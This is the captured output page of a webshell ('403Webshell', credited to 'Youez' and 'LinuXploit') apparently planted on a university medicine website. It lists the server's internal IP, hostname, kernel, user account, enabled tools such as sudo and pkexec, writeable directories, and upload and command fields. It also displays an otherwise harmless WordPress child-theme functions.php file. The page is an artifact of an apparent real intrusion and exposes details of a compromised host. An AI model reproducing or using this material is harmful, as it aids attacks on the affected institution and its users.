403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/medicine.dbweb26.0610250700/public_html/wp-content/themes/generatepress_child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/medicine.dbweb26.0610250700/public_html/wp-content/themes/generatepress_child/functions.php
<?php
/**
 * Generate child theme functions and definitions
 *
 * @package Generate
 */
if ( ! function_exists( 'generate_header_items' ) ) :
function generate_header_items() 
{
	
	// Site title and tagline
	generate_construct_site_title();
	
	// Site logo
	generate_construct_logo();
       echo'<div class="head-right-nav">';
    //Header widget
	generate_construct_header_widget();

    //Navigation
    generate_navigation_position();
	generate_secondary_navigation_position();
    echo'</div>';
}
endif;

add_image_size( 'medium', 400, 400, true );

// Archive Title
 // function that runs when shortcode is called
function page_title_shortcode() { 
 
// Things that you want to do. 
$title = get_the_archive_title();
 
// Output needs to be return
return $title;
} 
// register shortcode
add_shortcode('pagetitle', 'page_title_shortcode'); 

// Single Post Title
 // function that runs when shortcode is called
function single_title_shortcode() { 
 
// Things that you want to do. 
$title = get_the_title();
 
// Output needs to be return
return $title;
} 
// register shortcode
add_shortcode('singletitle', 'single_title_shortcode'); 

// Remove Category Title
add_action( 'after_setup_theme', function() {
    remove_action( 'generate_archive_title', 'generate_archive_title' );
} );

// Remove Content Title
add_action( 'after_setup_theme', 'tu_remove_title' );
function tu_remove_title() {
    add_filter( 'generate_show_title', '__return_false' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit